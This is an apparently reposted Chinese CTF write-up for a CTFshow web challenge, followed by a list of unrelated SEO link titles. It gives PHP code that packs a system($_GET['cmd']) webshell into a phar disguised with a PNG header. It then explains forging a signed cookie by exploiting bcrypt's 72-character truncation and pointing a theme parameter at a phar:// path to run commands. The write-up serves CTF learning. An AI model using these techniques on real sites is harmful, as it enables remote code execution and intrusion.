当前位置: 首页 > wzjs >正文

动态网站开发与实例yandex引擎

动态网站开发与实例,yandex引擎,赤峰市住房和城乡建设局官方网站,wordpress get_currentuserinfo因为该题没有理解到位,导致看wp也一直出错,特此反思一下。 参考yu22x师傅的文章 :CTFSHOW大赛原题篇(web696-web710)_ctfshow 大赛原题-CSDN博客 首先拿到题目: // www.zip 下载源码 我们的思路就是包含一个css文件,…

因为该题没有理解到位,导致看wp也一直出错,特此反思一下。

参考yu22x师傅的文章 :CTFSHOW大赛原题篇(web696-web710)_ctfshow 大赛原题-CSDN博客

首先拿到题目:

// www.zip 下载源码

我们的思路就是包含一个css文件,这个css文件是压缩到phar中的,那么如何绕过文件上传必须是PNG的限制呢,就可以手动赋值一个文件头

<?php
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('exp.css', '<?php system($_GET["cmd"]); ?>');
$phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();

 

结合这个data和signature,我们可以先创建一个账号登录一下:

eyJuYW1lIjoiMTIzXzEyMyJ9.JDJ5JDEwJHNuOWJqbDQzc1pjTTJFd2FCVWV0ZnV0WDZ5UDJWaERTbnNxWU5pMGowcERwVEFhbXVWUTJD

 那么再传入我们生成的phar文件再查看一下cookie的变化:

(我们发现这两次的cookie签名值是不同的),如果签名值是不同的那么我们添加theme参数的时候就会让我们重新登录无法进行命令执行了

eyJuYW1lIjoiMTIzXzEyMyIsImF2YXRhciI6ImVkY2Q1M2U2LnBuZyJ9.JDJ5JDEwJE96SlRZZ2puQ1NQM2lGWHRrNzlPTWU4dEY0VmpVVld5SzJEMGwuMVh3Q0tjbmNsNEJKbG1H

接下来我们需要关注一个比较有意思的地方:

现在我们需要考虑的是我们怎么凑才能把data这个消息也就是咱们cookie "." 前面的字符串是72位以上呢?

我们需要访问/upload.php 但是不需要上传文件即可:

 

这样就凑够了72以上字符,

因为此处凑够了72以上字符,因此后面添加theme后,我们就需要用这个签名

eyJuYW1lIjoiMTIzXzEyMyIsImF2YXRhciI6ImVkY2Q1M2U2LnBuZyIsImZsYXNoIjp7InR5cGUiOiJlcnJvciIsIm1lc3NhZ2UiOiJObyBmaWxlIHdhcyB1cGxvYWRlZC4ifX0.JDJ5JDEwJEpINWNYWEdqdzhYSXIzYVJDQnE1dHVLSi9rRWpoM3NXUzN1NXkxOVhWT1gwV2JoNXZITVFD

 {"name":"123_123","avatar":"edcd53e6.png","flash":{"type":"error","message":"No file was uploaded."},"theme":"phar://uploads/edcd53e6.png/exp"}

接着我们利用util类里面的urlsafe_base64_encode函数生成$data再拼接之前的.后面签名即可:

这样就可以执行了,我错误的原因呢就是拿到最初登录时候给的$signature来拼接了

但是没考虑到那个password_hash的特性

 

 具体的思路:

1、可以包含css,所以创建一个css压缩到phar中,生成png的文件头

2、通过访问upload.php凑够那个72字符

{"name":"123_123","avatar":"edcd53e6.png","flash":{"type":"error","message":"No file was uploaded."},"theme":"phar://uploads/edcd53e6.png/exp"}

3、添加theme参数

4、访问/index.php  传cmd参数执行命令

http://www.dtcms.com/wzjs/475233.html

相关文章:

  • 自己的电脑做网站服务器 买的服务器 速度百度推广账号登陆入口
  • 广州靠谱网站建设外包公司百度收录比较好的网站
  • 从做系统网站的收藏怎么找优化二十条
  • 长沙网站建设制作最近发生的新闻大事
  • 武汉贷款网站制作google官网入口手机版
  • 邢台外贸网站建设关键词seo优化软件
  • 升级wordpress导入工具新媒体seo培训
  • 做网站图片太多怎么办收录查询站长工具
  • 深圳网站备案时间网站建设公司业务
  • 建设网站群的指导思想永久免费的建站系统有哪些
  • 建站官网模板长尾关键词快速排名软件
  • 长沙快速建站模板营销策划方案ppt范文
  • 农村电商平台简介班级优化大师的优点
  • 品牌网图片新闻2003年下一条文章惠州seo排名收费
  • 网站毕设代做多少钱优化推广关键词
  • 做销售的什么网站好电商软文范例100字
  • 毕设做音乐网站成都seo专家
  • 杭州专业制作网站制作公司网站
  • 做直播网站需要证书吗sem代运营费用
  • 做中学数学教案有哪些好的网站做网站好的网站建设公司
  • 温州网站公司优优群排名优化软件
  • 镇江网站建设哪家好图片优化
  • 建设的电影网站总是无法连接百度关键词价格
  • 吉安市网站建设品牌传播推广方案
  • 做网站搜索推广点击率太低怎么办优化技术基础
  • 南京网站设计哪家公司好销售推广方案
  • 在线制作论坛网站电脑优化大师有用吗
  • 建设网站建设费用易观数据app排行
  • 环评在那个网站做广州谷歌seo公司
  • 网站开发的前台开发工具热门搜索